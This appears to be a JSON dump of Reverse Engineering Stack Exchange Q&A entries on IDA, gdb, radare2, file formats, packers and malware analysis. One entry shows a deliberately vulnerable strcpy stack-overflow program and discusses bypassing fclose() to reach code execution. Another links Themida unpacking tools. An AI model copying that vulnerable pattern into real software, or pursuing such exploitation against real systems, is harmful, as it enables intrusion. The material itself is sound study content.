file.</p>\n\n<p>Preceding the vertices are some shorts with small values, e.g. 06 00 02 00. These have something to do with the faces; my guess is that they refer to vertices by index to define a face. I have verified that these affect the faces by editing them in RAM while the game is running, but haven't fully decoded them yet.</p>\n\n<p>There is always 6 bytes of 0s (<code>00 00 00 00 00 00</code>) between the faces and the vertices. There is always the marker <strong><code>04 00 00 00 14 00 00 00 14 00 00 00</code></strong> shortly after the vertices end. Using this knowledge, I'm able to parse vertices from a file by looking between those two markers; however, this is imprecise and I end up with a bunch of junk vertices forming a partial spherical shell around the model.</p>\n\n<p>Here is a rendering of a point cloud of vertices I am able to read out of the Apocalypse DTS file; I have filtered out some of the junk vertices here, but there are still some present around the edges and in the middle. Take note that the hips and crotch are located <em>above</em> the torso in the file.\n<a href=\"https://i.stack.imgur.com/eubvH.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/eubvH.png\" alt=\"enter image description here\"></a></p>\n\n<h2>What's next?</h2>\n\n<p>I'm not hoping to decode the entire DTS file from start to finish - it's much too long and complex - but I'd like to at least be able to read the vertices, and hopefully faces, out of the files. </p>\n\n<p>The biggest struggle I've been having at the moment is trying to figure out how to know exactly where a set of faces/vertices start and end. <strong>My main question would be how to <em>precisely</em> determine where a group of faces/vertices start and end</strong>, as they are not in the exact same place in every file. Any other information you can spot that I've missed would be awesome, but that's my main objective. </p>\n",
        "Title": "Reverse engineering Earthsiege 2 3D model format",
        "Tags": "|binary-analysis|file-format|hex|",
        "Answer": "<p>To determine where the faces/vertices are laid out purely via inspection can be pretty time consuming and hit-and-miss. Given the executable is available that processes these files, I think it's probably a better starting point - it definitively knows how to process the format.</p>\n\n<p>I used IDA Pro to analyse the code in the executable that's involved in loading the data, using the some magic numbers [including the 0x001e0003 you noted as the ChunkMarker] to locate the relevant parts and expanding from there.</p>\n\n<p>You'll find that there are some duplications of surfaces in the mesh - I think the base mesh is just solid-shaded, but uses textures sparingly like decals over the base mesh.</p>\n\n<p>Here's an example imported into Blender.\n<a href=\"https://i.stack.imgur.com/PiANI.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/PiANI.png\" alt=\"enter image description here\"></a></p>\n\n<p>You can access the code I wrote to generate that on <a href=\"https://github.com/booto/convert_dts\" rel=\"noreferrer\">github</a>.</p>\n"
    },
    {
        "Id": "11516",
        "CreationDate": "2015-12-12T20:11:44.363",
        "Body": "<p>I have Ubuntu 14.04 x64 and I am running Ida pro V6.6 in virtual box in windows 8 ... currently I want to debug some Linux elf's using Ida either via IDA linux remote server or gdbserver but I don't know how to set up such thing (remember Linux is the host and windows is the guest and IDA runs in windows)</p>\n",
        "Title": "how to setup IDA pro linux GDB server",
        "Tags": "|ida|debugging|gdb|",
        "Answer": "<ol>\n<li>Ensure that networking is enabled on the guest system and that it can communicate via TCP/IP with the host system.</li>\n<li>Copy <code>&lt;IDA installation directory&gt;\\dbgsrv\\linux_serverx64</code> to your host system and run it.</li>\n<li>Copy the target ELF binary to the guest system and load it into IDA (disassemble it).</li>\n<li>In IDA (on the guest system), go to <code>Debugger \u2192 Select debugger...</code> in the menu bar and choose <code>Remote Linux debugger</code>.</li>\n<li>In IDA (on the guest system), go to <code>Debugger \u2192 Process options...</code> in the menu bar and specify the hostname or IP of your host system, the debugging port used by <code>linux_serverx64</code>, and the debugging password (if you specified one when running <code>linux_serverx64</code>).</li>\n<li>In IDA (on the guest system), select <code>Debugger \u2192 Start process</code> in the menu bar (or <code>Attach to process...</code> if the target is already running on the host system).</li>\n</ol>\n\n<p>Further references:</p>\n\n<ul>\n<li><a href=\"https://www.hex-rays.com/products/ida/support/idadoc/1463.shtml\" rel=\"noreferrer\">https://www.hex-rays.com/products/ida/support/idadoc/1463.shtml</a></li>\n<li><a href=\"https://www.hex-rays.com/products/ida/debugger/cross-win-linux/win32tolinux.shtml\" rel=\"noreferrer\">https://www.hex-rays.com/products/ida/debugger/cross-win-linux/win32tolinux.shtml</a></li>\n<li><a href=\"https://www.hex-rays.com/products/ida/support/freefiles/remotedbg.pdf\" rel=\"noreferrer\">https://www.hex-rays.com/products/ida/support/freefiles/remotedbg.pdf</a></li>\n</ul>\n"
    },
    {
        "Id": "11522",
        "CreationDate": "2015-12-13T16:56:14.523",
        "Body": "<p>I used PEiD &amp; Stud_PE to get the packer/encrypter signature but unfortunately they didn't detect it.</p>\n\n<p><a href=\"https://i.stack.imgur.com/iJurl.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/iJurl.png\" alt=\"enter image description here\"></a></p>\n\n<p>could someone help with this issue?</p>\n\n<p><strong>EDIT:</strong>\nAs @beatcracker said in comments, using ExeinfoPe says:\n<a href=\"https://i.stack.imgur.com/7W4D4.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/7W4D4.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "What's the packer/encrypter used with this file",
        "Tags": "|disassembly|unpacking|packers|",
        "Answer": "<blockquote>\n<p>I used PEiD &amp; Stud_PE to get the packer/encrypter signature but\nunfortunately they didn't detect it.</p>\n</blockquote>\n<p><a href=\"http://www.exeinfo.xn.pl\" rel=\"nofollow noreferrer\">Exeinfo PE</a> has more recent signatures (beware of gifs, though).</p>\n<blockquote>\n<p><strong>EDIT:</strong> As @beatcracker said in comments, using ExeinfoPe says:</p>\n<p><em>Detected Themida v2.x Inside, Themida Code on Section</em>.</p>\n<p>Is there a native exe unpacker for Themida ?</p>\n</blockquote>\n<p>Themida is very hard to unpack (even the new driverless versions), there is a ton of protections options that can be enabled (see <a href=\"http://www.oreans.com/ThemidaHelp.pdf\" rel=\"nofollow noreferrer\">manual</a>), so I doubt that there is a generic unpacker in the wild.</p>\n<p>Try this tutotial: <a href=\"http://forum.xentax.com/viewtopic.php?f=29&amp;t=12953\" rel=\"nofollow noreferrer\">How Unpack Themida 2.x.x</a>. It uses OllyDbg script which hides most of the complexity required to unpack\\fix Themida.</p>\n<h3>References:</h3>\n<ul>\n<li><a href=\"https://forum.tuts4you.com/topic/34085-themida-winlicense-ultra-unpacker-14/\" rel=\"nofollow noreferrer\">Original link to sript's author post on Tuts4You (requires registration to view)</a></li>\n<li>Files from the post above (includes video converted to <code>exe</code>, I've not checked it so be careful): <a href=\"https://www.sendspace.com/file/9pu8z8\" rel=\"nofollow noreferrer\">Themida - Winlicense Ultra Unpacker 1.4 - Tutorial.rar</a></li>\n<li><a href=\"https://exelab.ru/F/index.php?action=vthread&amp;forum=13&amp;topic=16798\" rel=\"nofollow noreferrer\">Themida unpacking thread at eXeL@B forums (Russian)</a></li>\n</ul>\n"
    },
    {
        "Id": "11524",
        "CreationDate": "2015-12-14T13:52:38.197",
        "Body": "<p>I'm testing malware that built from single EXE file and it doesn't load any other DLLs.</p>\n\n<p>I can see that EXE is register as COM object (I don't know how EXE can be COM object...). But when I run it and looking in procmon, I can see that it writes values to the registry.</p>\n\n<p>I tried to open the EXE file with IDA Pro 6.8 / OllyDbg, and I can't see any <code>RegSetValue</code> call or even reference (there is no load of Advapi32.dll).</p>\n\n<p>I suspect that there is some hidden code that I can't see in these disassembles. </p>\n\n<p>If there is such hidden code how can I see it? And btw, how EXE can register as COM object at all?</p>\n",
        "Title": "Hidden code in dissasembly",
        "Tags": "|disassembly|malware|",
        "Answer": "<p>What you see is probably a \"packed/obfuscated\" malware. \nThere are many ways to \"hide\" RegSetValue from static analysis but my best guess is that what you see is <strong>Runtime API Address Resolution</strong>:\n\"There are two main types of API obfuscation. In the first type, all API function addresses are resolved before the main routine of the program begins. In the second, API function addresses are resolved individually at call-time. \nYou can read more about it from this  <a href=\"https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/a_museum_of_api_obfuscation_on_win32.pdf\" rel=\"nofollow\">paper</a> by Symantec.\nIf you want to \"see the code\" you would have to unpack it first.</p>\n\n<p>For your second question there is a good discussion about it over <a href=\"https://stackoverflow.com/questions/16463498/how-do-you-register-unregister-an-exe-as-a-com-object-from-c\">here</a>.</p>\n"
    },
    {
        "Id": "11533",
        "CreationDate": "2015-12-15T08:34:39.463",
        "Body": "<p>In the same way that <code>ScreenEA()</code> returns the current cursor address, is there a way to <em>set</em> the address? Something that would resemble <code>SetScreenEA()</code>?</p>\n",
        "Title": "Is there a way to set the cursor address in IDA Pro?",
        "Tags": "|ida|idapython|",
        "Answer": "<p>Updating answer for IDA Pro version 7.5, using Python 3:</p>\n<ul>\n<li><a href=\"https://www.hex-rays.com/products/ida/support/idapython_docs/ida_kernwin.html#ida_kernwin.jumpto\" rel=\"nofollow noreferrer\"><code>ida_kernwin.jumpto(ea)</code></a></li>\n</ul>\n"
    },
    {
        "Id": "11535",
        "CreationDate": "2015-12-15T12:13:21.353",
        "Body": "<p>I'm iterating through a list of heads returned by the <code>Heads()</code> function, and for each head I want to check if the address contains a pointer (specifically a pointer to code). </p>\n\n<p>I've tried using the functions <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/179.shtml\" rel=\"nofollow\">here</a> but none of them seem to be relevant.</p>\n",
        "Title": "How can I check if an address contains a pointer?",
        "Tags": "|ida|idapython|",
        "Answer": "<p>Using <a href=\"https://sark.readthedocs.org/en/latest/\" rel=\"nofollow\">Sark</a> you can:</p>\n\n<pre><code>import sark\n\nfor line in sark.lines():\n    for xref in line.xrefs_from:\n        if xref.type.is_flow:  # Make sure the xref is not to the next line.\n            continue\n        if sark.Line(xref.to).is_code:  # Check if the xref's target is code.\n            print 'xref to code!'\n</code></pre>\n\n<p>See <a href=\"http://sark.readthedocs.org/en/latest/api/Xrefs.html\" rel=\"nofollow\">xrefs</a> and <a href=\"http://sark.readthedocs.org/en/latest/api/Lines.html\" rel=\"nofollow\">lines</a> documentation.</p>\n"
    },
    {
        "Id": "11548",
        "CreationDate": "2015-12-16T12:41:30.787",
        "Body": "<p>I have an exe which I'm confident uses MFC(I have seen the code and it heavily uses MFC) but when I see the Import Table why don't I see  MFCxx.dll entry... </p>\n",
        "Title": "Why is there no MFCxx.dll in the import table?",
        "Tags": "|disassembly|malware|",
        "Answer": "<p>One of three possibilities:</p>\n\n<ul>\n<li>It doesn't use MFC</li>\n<li>It uses MFC and the MFC functions are linked via <a href=\"https://en.wikipedia.org/wiki/Static_library\" rel=\"nofollow\">static libraries</a></li>\n<li>It uses MFC and the MFC DLLs are <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms684175.aspx\" rel=\"nofollow\">dynamically loaded</a> (or <a href=\"https://msdn.microsoft.com/en-us/library/yx9zd12s.aspx\" rel=\"nofollow\">delay-loaded</a>) at runtime</li>\n</ul>\n"
    },
    {
        "Id": "11582",
        "CreationDate": "2015-12-17T20:33:18.273",
        "Body": "<p>I'm trying to write a video player for clips from Roadhawk dash cams that shows a speedometer and map. I've got the basics covered, it plays the video and sound and extracts the raw metadata from the video.</p>\n\n<p>This raw metadata includes speed, GPS coordinates and G-force.\nMy first target is a Roadhawk DC2. Roadhawk provides software for doing this already but it is closed source. <a href=\"http://www.roadhawk.co.uk/roadhawk-dc2-software\" rel=\"nofollow\">http://www.roadhawk.co.uk/roadhawk-dc2-software</a>\nI may be able to reverse engineer the software, or even the camera firmware, but I wanted to know if there was a better way.</p>\n\n<p>The metadata is stored in a subtitle stream in the video file. I've played a one minute file through my software and dumped all the raw data out and have looked at the same file in the existing software to get the decoded values for the first frame. (It's awkward to determine more than the first frame because of the seek resolution in the existing software. This is one reason for writing my own.)</p>\n\n<p>It all appears to be printable ASCII characters (presumably a constraint of the qt-text subtitle encoding system).</p>\n\n<p>When looking at all of the data, I can see that in the last third of the data frames, some of the text remains mostly constant. In the last third of the video, the car is waiting at a set of lights, this could be the gforce data. This is as far as I got with my investigation.</p>\n\n<p>The frame for which I know the decoding looks like this:</p>\n\n<pre><code>.+;;;D=;-;6;;;;D;JP;4;;;=D;P?;O;;;=D=L;-HO71G&gt;F=;;;JJF:FNJNBDL=R?F3F;;=;PDLR;;F0F;;=DRFJJ?DRJF??;J=LF;;;D;F:*59~\n</code></pre>\n\n<p>And decodes like this:</p>\n\n<pre><code>Gforce X = +0.108\n       Y = +0.036\nLat      = 53.99020\nLong     = -1.10792\nSpeed    = 2.0mph\n</code></pre>\n\n<p>Full list of captured frames is here: <a href=\"http://bitofahack.com/stuff/capture\" rel=\"nofollow\">http://bitofahack.com/stuff/capture</a></p>\n\n<p>I don't recognise this as any particular method of encoding. It may even have some kind of compression, although I doubt that when I consider that the frames are longer than all the data simply printed as one long string.</p>\n\n<p>What should I do to further my investigation?</p>\n",
        "Title": "How to reverse engineer dash cam metadata",
        "Tags": "|file-format|packet|",
        "Answer": "<p>Looking at the files distributed with the software, the video playing part is done via Flowplayer, embedded in these files:</p>\n\n<pre><code>assets/webthings/local_me.html\nassets/webthings/local_me_OSM.html\nassets/webthings/local_me_slowmo.html\nassets/webthings/local_me_with_file_select.html\n</code></pre>\n\n<p>These functions also control updating the UI fields - apparently flowplayer provides the subtitle (caption) data via a callback. Search for a function \"parse_gps_data\". In the function \"zgps_decode\" is the actual decoding routine which is a simple one-to-one substitution.</p>\n\n<p>Implementation:</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n\nconst char *decode_table = \"#I8XQWRVNZOYPUTA0B1C2SJ9K.L,M$D3E4F5G6H7\";\n\nvoid decode_in_place(char *s) {\n    while (*s) {\n        *s = decode_table[*s-43];\n        s++;\n    }\n}\n\nint main(void) {\n    char data[] = \".+;;;D=;-;6;;;;D;JP;4;;;=D;P?;O;;;=D=L;-HO71G&gt;F=;;;JJF:FNJNBDL=R?F3F;;=;PDLR;;F0F;;=DRFJJ?DRJF??;J=LF;;;D;F:*59~\";\n    decode_in_place(data);\n    printf(\"%s\", data);\n    return 0;\n}\n// Output: X#000.1080Y0000.0360Z0001.0620G0001.1408$GPRMC,100033,A,5359.4172,N,00106.4700,W,001.7,332.73,220314,000.0,A\n</code></pre>\n\n<p>The same html files contain a comment on how to interpret this data:</p>\n\n<pre><code>X0000.0000Y0000.0000Z0000.0000G0000.0000$GPRMC,UTS_Position,Status,Latitude,N/S,Longitude,E/W,Speed,Course_Over,Ground,Date,Magnetic_variation,Checksum~\n</code></pre>\n"
    },
    {
        "Id": "11583",
        "CreationDate": "2015-12-17T20:50:58.517",
        "Body": "<p>While trying to answer <a href=\"https://reverseengineering.stackexchange.com/questions/11578/reversing-self-modifying-code/11579\">another question</a>, I tried to set-up a Python script to automatize the extraction of an assembly execution trace. But, I am really not satisfied of this script and I would like to know how to improve it.</p>\n\n<p>First, here is the script:</p>\n\n\n\n<pre><code>import gdb\n\ngdb.execute('break main')\ngdb.execute('run')\n\nwhile (True):\n    gdb.write (gdb.execute('x /i $pc', to_string=True).rstrip('\\n'), gdb.STDOUT)\n    gdb.execute('stepi', to_string=False)\n    gdb.flush ()\n</code></pre>\n\n<p>Then, just execute:</p>\n\n<pre><code>$&gt; gdb -x ./script.py ./main 1&gt; log.txt\n</code></pre>\n\n<p>The problems that I would like to solve are as follow:</p>\n\n<ul>\n<li><p>First, the <code>while(True)</code> is definitely not satisfactory. I would like to stop or suspend the loop when a breakpoint or an exit is reached.</p></li>\n<li><p>Also, the way we export the list of instructions outside of <code>gdb</code> is not really satisfactory. Saving it to a file would be much better than having to redirect <code>stdout</code> to a file.</p></li>\n<li><p>Finally, be able to interact with the software, feeding it through <code>stdin</code> would also be something we want.</p></li>\n</ul>\n\n<p>So, if you know how to improve this script in any manner, I would be interested.</p>\n",
        "Title": "How to get a full execution trace with Python gdb?",
        "Tags": "|disassembly|gdb|",
        "Answer": "<p>Your question really seems to be \"How to get an instruction trace with GDB\".  The use of Python appears to be incidental, except that you're using Python <em>inside</em> of GDB.</p>\n\n<p>GDB has native support for instruction tracing, via the <code>record</code> command.  Using the command <code>record full</code> will record all changes to the process's state, and even allow reverse debugging (i.e. backward-stepping and replay).</p>\n\n<p>You can find more information here:\n<a href=\"https://sourceware.org/gdb/onlinedocs/gdb/Process-Record-and-Replay.html\" rel=\"noreferrer\">https://sourceware.org/gdb/onlinedocs/gdb/Process-Record-and-Replay.html</a></p>\n\n<p>Separately, if you <em>would</em> like to perform single-stepping and instruction tracing with Python-inside-GDB, your best bet is to use the <code>Breakpoint</code> class and use <code>internal</code> breakpoints which do not halt the UI.  On architectures with variable-width instructions (i386, amd64) you will need to calculate the size of the current instruction.  You will also need to resolve all jump and calls targets.</p>\n\n<p>If you look at the GDB source code you'll see how this all works in the event loop, and it is not exposed to the Python API.  Search for <code>STEP_OVER_NONE</code> which is used for the <code>stepi</code> instruction (step exactly one machine instruction).</p>\n\n<p>If you're so inclined, you <em>can</em> do this in GDB with the <code>gdb.Breakpoint</code> and <code>gdb.FinishBreakpoint</code> types.  However, you end up needing to parse instruction widths (on variable-width instruction ISAs like x86), and extract jump and call targets.  GDB's Python API does not have any support for a single-step breakpoint, or resolving what the next instruction address will be.  You can do both of those things pretty easily with Capstone and Unicorn.</p>\n"
    },
    {
        "Id": "11588",
        "CreationDate": "2015-12-18T11:09:29.103",
        "Body": "<p>How can I examine a memory address in radare2 using registers? I would like to achive what this command does in gdb: <code>x/s $ebp+0x4</code></p>\n",
        "Title": "Examining memory in radare2",
        "Tags": "|radare2|",
        "Answer": "<p>In addition to previous answers, you can also review memory via <a href=\"https://radare.gitbooks.io/radare2book/visual_mode/visual_panels.html\" rel=\"nofollow noreferrer\">Visual panel</a> (or just via <a href=\"https://radare.gitbooks.io/radare2book/visual_mode/intro.html\" rel=\"nofollow noreferrer\">Visual mode</a>).</p>\n\n<pre><code>drr        ; to show register values\ns rcx      ; for example, we're going to review address which is stores in rcx\nV!         ; Open visual pannels\nPress `m`  ; to select the menu panel\nView -&gt; Hexdump\n</code></pre>\n\n<p>You will see a new hex dump pannel. Just press <code>Enter</code> to open this panel in <code>Zoom mode</code> (Fullscreen).</p>\n\n<p><a href=\"https://i.stack.imgur.com/vTogN.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/vTogN.png\" alt=\"enter image description here\"></a></p>\n\n<p><strong>Note 0</strong>: You can go through pannels by <code>tab</code>.</p>\n\n<p><strong>Note 1</strong>: To seek back - use <code>shift + :</code> to open console abd <code>s-</code> to seek back.</p>\n"
    },
    {
        "Id": "11591",
        "CreationDate": "2015-12-18T12:29:13.420",
        "Body": "<p>I am learning radare2. Is there a way to demangle c++ functions during disassembling? For example in gdb</p>\n\n<pre><code>set print asm-demangle\n</code></pre>\n\n<p>changes </p>\n\n<pre><code>callq 0x400a30 &lt;_ZNSo3putEc@plt&gt;\n</code></pre>\n\n<p>to</p>\n\n<pre><code>callq 0x400a30 &lt;_std::ostream::put(char)@plt&gt;\n</code></pre>\n\n<p>edit:\nI had radare2 0.9.6 which comes with Ubuntu's synaptic package manager. I reinstalled it from <a href=\"https://github.com/radare/radare2\" rel=\"nofollow\">https://github.com/radare/radare2</a>. Now I see the <code>asm.demangle</code> variable after entering <code>Ve</code>, it is set to true, but names are still mangled.</p>\n",
        "Title": "Demangle c++ functions in radare2",
        "Tags": "|radare2|",
        "Answer": "<p>Check <code>e asm.demangle</code>, and set it to true or false as required.</p>\n\n<p>Is the radare2 version you are using the latest one?</p>\n\n<p>You should be able to view all the configuration data with <code>e</code>.</p>\n\n<p>Typing <code>e??</code> should show you a complete list of configuration variables with their description. You can grep through the output for all the vars that have the pattern <em>demangle</em> with</p>\n\n<pre>\n[0x00001d52]> e??~demangle\n        asm.demangle: Show demangled symbols in disasm\n        bin.demangle: Import demangled symbols from RBin\n            bin.lang: Language for bin.demangle\n[0x00001d52]>\n</pre>\n\n<p>Radare2 needs to be told to load the demangle informations at startup, so you can set <code>bin.demangle</code> to <code>true</code>, and reopen the file:</p>\n\n<pre><code> e bin.demangle = true\n oo \n</code></pre>\n\n<p>Last but not least, you can provide a symbol name in its mangled form on a case by case basis, using the command <code>iD</code>:</p>\n\n<pre><code>[0x7c810705]&gt; iD cxx _ZNSo3putEc\nstd::ostream::put\n[0x7c810705]&gt;\n</code></pre>\n\n<p>By the way, a tip instead of asking a question here and waiting forever:\nradare2 is self documented, so you can begin by typing <code>?</code> to get help, and then append <code>?</code> to each command, like <code>a?</code>, or <code>pd?</code> and so on\u2026</p>\n"
    },
    {
        "Id": "11592",
        "CreationDate": "2015-12-18T12:36:52.517",
        "Body": "<p>Is it known what the differences between the Window 7 and Windows 8 PE loader are?</p>\n\n<p>I'm trying to hand-craft a simple executable PE image file.  It runs well in Windows 7, but is rejected by Windows 8.</p>\n\n<p>The file is linked here:\n<a href=\"http://lars.nocrew.org/tmp/W7-ok.exe\">http://lars.nocrew.org/tmp/W7-ok.exe</a></p>\n\n<pre><code>Microsoft (R) COFF/PE Dumper Version 8.00.50727.762\n\nDump of file W7-ok.exe\nPE signature found\nFile Type: EXECUTABLE IMAGE\n\nFILE HEADER VALUES\n             14C machine (x86)\n               0 number of sections\n               0 time date stamp Thu Jan 01 00:00:00 1970\n               0 file pointer to symbol table\n               0 number of symbols\n              E0 size of optional header\n             10F characteristics\n                   Relocations stripped\n                   Executable\n                   Line numbers stripped\n                   Symbols stripped\n                   32 bit word machine\n\nOPTIONAL HEADER VALUES\n             10B magic # (PE32)\n            0.00 linker version\n               0 size of code\n               0 size of initialized data\n               0 size of uninitialized data\n             24C entry point (0040024C)\n               0 base of code\n               0 base of data\n          400000 image base (00400000 to 0040025B)\n               4 section alignment\n               4 file alignment\n            0.00 operating system version\n            0.00 image version\n            4.00 subsystem version\n               0 Win32 version\n             25C size of image\n             230 size of headers\n               0 checksum\n               3 subsystem (Windows CUI)\n               0 DLL characteristics\n               0 size of stack reserve\n               0 size of stack commit\n               0 size of heap reserve\n               0 size of heap commit\n               0 loader flags\n               2 number of directories\n               0 [       0] RVA [size] of Export Directory\n             1B8 [       0] RVA [size] of Import Directory\n\n\n  Summary\n</code></pre>\n",
        "Title": "Difference between Win7 and Win8 PE loader?",
        "Tags": "|binary-analysis|pe|executable|binary-format|windows-8|",
        "Answer": "<p>The difference is that Windows 8 requires all regular structures (exports, imports, TLS, exception handlers, relocations... that is, everything described by Data Directory entries) to be located wholly inside a section.  The only exception is the Bound Import Table, which is stored external to any section, to avoid \"polluting\" the contents, since the Bound Import Table data are discarded after use.  The Bound Import Table is also meaningless in the presence of ASLR, anyway, since the addresses will almost never match.</p>\n\n<p>In the absence of any section, you have to find the DLL bases and resolve the imports yourself.</p>\n\n<p>If you create a single section to hold your import table, then it will load in both environments.</p>\n"
    },
    {
        "Id": "11597",
        "CreationDate": "2015-12-18T15:50:47.480",
        "Body": "<p>In this crackme <a href=\"http://www.crackmes.de/users/josamont/crack_serial_in_linux/solutions/mrmacete/browse/crackserial_linux_mrmacete_solution*solution.txt\" rel=\"nofollow noreferrer\">solution</a>, first the strings are found:</p>\n<pre><code>$ rabin2 -z crackserial_linux\n\naddr=0x00000aa0 off=0x00000aa0 ordinal=000 sz=7 len=7 section=.rodata type=A string=User:\naddr=0x00000aa7 off=0x00000aa7 ordinal=001 sz=11 len=11 section=.rodata type=A string=Password:\naddr=0x00000ab2 off=0x00000ab2 ordinal=002 sz=10 len=10 section=.rodata type=A string=Good job!\naddr=0x00000abc off=0x00000abc ordinal=003 sz=10 len=10 section=.rodata type=A string=Try again\n</code></pre>\n<p>after that, references for &quot;Good job&quot; are looked for:</p>\n<pre><code>$ radare2 crackserial_linux\n\n -- How about a nice game of chess?\n[0x080488c4]&gt; /c ab2\nf hit_0 @ 0x08048841   # 5: push 0x8048ab2\n[0x080488c4]&gt;\n</code></pre>\n<p>I tried the same thing, but for me it's not working:</p>\n<pre><code>$ r2 crackserial_linux\n[0x080488d0]&gt; !!rabin2 -z crackserial_linux\n[strings]\naddr=0x08048d80 off=0x00000d80 ordinal=000 sz=7 section=.rodata string=User:\naddr=0x08048d87 off=0x00000d87 ordinal=001 sz=9 section=.rodata string=Serial:\naddr=0x08048d90 off=0x00000d90 ordinal=002 sz=10 section=.rodata string=Good job!\naddr=0x08048d9a off=0x00000d9a ordinal=003 sz=10 section=.rodata string=Try again\n\n4 strings\n[0x080488d0]&gt; /c d90\n[0x080488d0]&gt; \n</code></pre>\n<p>By the way, why are the strings in my case at different locations?</p>\n",
        "Title": "Find reference to string in radare2",
        "Tags": "|radare2|",
        "Answer": "<p>Also <code>axt</code>:</p>\n\n<p>Use like <code>axt @ hello_world_n</code> gives you the reference.</p>\n"
    },
    {
        "Id": "11606",
        "CreationDate": "2015-12-21T02:27:46.770",
        "Body": "<p>I am trying to reverse engineer a firmkit in a bios, but in general I would like to know how can I debug a bios better.</p>\n\n<p>I found a way to attach IDA to a vmware instance usign a GDB session <a href=\"https://cyberview.wordpress.com/2010/09/16/debugging-bios-under-vmware-using-idas-gdb-debugger/\" rel=\"nofollow\">GDB Debugging With VMware</a>, but it seems like I am always racing to against the bios and boot up of the VM. I am wanting to have it stop in a place that I can follow and make sense of.</p>\n\n<p>In general, What are some better practices when debugging a bios? Is IDA a decent debugger for this task? Is there something more meant for this task? Any other ideas are welcome also, I am really wanting to focus on reversing malware that is written to the bios.</p>\n\n<p>Thanks!</p>\n",
        "Title": "How Can I Debug A Bios Better",
        "Tags": "|ida|debugging|gdb|bios|",
        "Answer": "<p>You can try running your BIOS in QEMU. QEMU's <code>-S</code> option will pause boot until a debugger (gdb) is attached. IDA's debugger apparently works fine with QEMU, according to this article: <a href=\"https://www.hex-rays.com/products/ida/support/tutorials/debugging_gdb_qemu.pdf\" rel=\"nofollow\">https://www.hex-rays.com/products/ida/support/tutorials/debugging_gdb_qemu.pdf</a></p>\n"
    },
    {
        "Id": "11609",
        "CreationDate": "2015-12-21T20:32:56.793",
        "Body": "<p>I have been discussing the effectiveness of GNU libc's <code>fclose()</code> function to thwart successful exploitation of trivial vulnerabilities due to segmentation fault when called without a valid pointer to a FILE data structure (implementations of libc on other operating systems fail silently). For instance, given a simple vulnerable function using <code>strcpy()</code> such as:</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;string.h&gt;\n\nvoid\nfoo(const char *str)\n{\n  char buffer[256];\n  int ret = 123456;\n\n  FILE *fp = tmpfile();\n  strcpy(buffer, str);\n  if (ret != 500)\n    fclose(fp);\n}\n\nint \nmain(int argc, const char **argv)\n{\n  foo(argv[1]);\n  return 0;\n}\n</code></pre>\n\n<p>Even when compiled with most memory-protection mechanisms disabled:</p>\n\n<pre><code>cc -m32 -ggdb -fno-stack-protector -z execstack -z norelro main.c\n</code></pre>\n\n<p>The function, regardless of being overwritten up to <code>EIP</code> would never return since:</p>\n\n<pre><code>(gdb) r $(python -c \"print 'A' * 286\")\nProgram received signal SIGSEGV, Segmentation fault.\n0xf7e3e307 in fclose@@GLIBC_2.1 () from /lib/libc.so.6\n(gdb) ba\n#0  0xf7e3e307 in fclose@@GLIBC_2.1 () from /lib/libc.so.6\n#1  0x080484bc in foo (str=0x41414141 &lt;error: Cannot access memory...\n#2  0x41414141 in ?? ()\n#3  0x41414141 in ?? ()\n</code></pre>\n\n<p>Could there be a way to achieve code execution for such trivial function?. Since the <code>ret</code> variable can be overwritten, can it be set to 500 so that the if condition which determines if <code>fclose()</code> is called or not could be bypassed?</p>\n",
        "Title": "Exploitability of Stack-based Buffer Overflows on functions ending with fclose()",
        "Tags": "|static-analysis|exploit|libc|",
        "Answer": "<blockquote>\n  <p>Since the <code>ret</code> variable can be overwritten, can it be set to 500 so\n  that the if condition which determines if <code>fclose()</code> is called or not\n  could be bypassed?</p>\n</blockquote>\n\n<p>If the attacker can overwrite the <code>ret</code> variable on the stack with an arbitrary value, then yes.</p>\n\n<p>And even if the attacker can't overwrite <code>ret</code>, they still might be able to overwrite <code>fp</code> with a value that is acceptable to <code>fclose()</code>.</p>\n\n<p>Furthermore, your approach relies on several implementation-specific details. For example:</p>\n\n<ul>\n<li>You assume that <code>fp</code> is between <code>buffer</code> and the return address, but the compiler may not order the variables this way.</li>\n<li>You assume that <code>fclose()</code> will always throw an exception when given a corrupted pointer, however <a href=\"http://www.cplusplus.com/reference/cstdio/fclose/\" rel=\"nofollow\">this is not a requirement</a> and may change in future versions of GNU libc.</li>\n</ul>\n"
    },
    {
        "Id": "11617",
        "CreationDate": "2015-12-24T01:54:38.117",
        "Body": "<p>This is seriously one question I couldn't find the answer to anywhere on Google.com</p>\n\n<p>When I mean mixed mode I mean .NET application which has unmanaged and managed code together.</p>\n\n<p>I used tools\n.NET Reflector 6 that crashes on native methods or shows only signature to them.\nAlso used dnEditor v0.76 beta which doesn't ever crash but also doesn't show any native x86 assembly for the areas it couldn't decompile.</p>\n\n<p>I get code like this</p>\n\n<pre><code>[SuppressUnmanagedCodeSecurity]\n[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig)]\npublic unsafe static extern byte WritePointer(uint uint_1, void* pVoid_1, int int_4, int int_5, __arglist);\n</code></pre>\n\n<p>Yet no way to see the x86 assembly for this method.</p>\n\n<p>I thought about injecting this dll file to a application then attaching ollydbg to it so I could dump the dll file and check it out in IDA PRO but this also doesn't work.</p>\n\n<p>IDA PRO 6.8 by default doesn't even load mixed .NET programs as both .NET IL Code and decompilable native asm..</p>\n\n<p>I ran out of options here, I'll try getting a real dll file and nopping it out somewhere in the middle and pasting the binary there maybe this way IDA PRO would detect it as a unmanaged dll file.</p>\n\n<p>But ya I ask you any tools to achieve this?</p>\n",
        "Title": "How to retrieve native asm code from .NET mixed mode dll file?",
        "Tags": "|assembly|decompile|.net|",
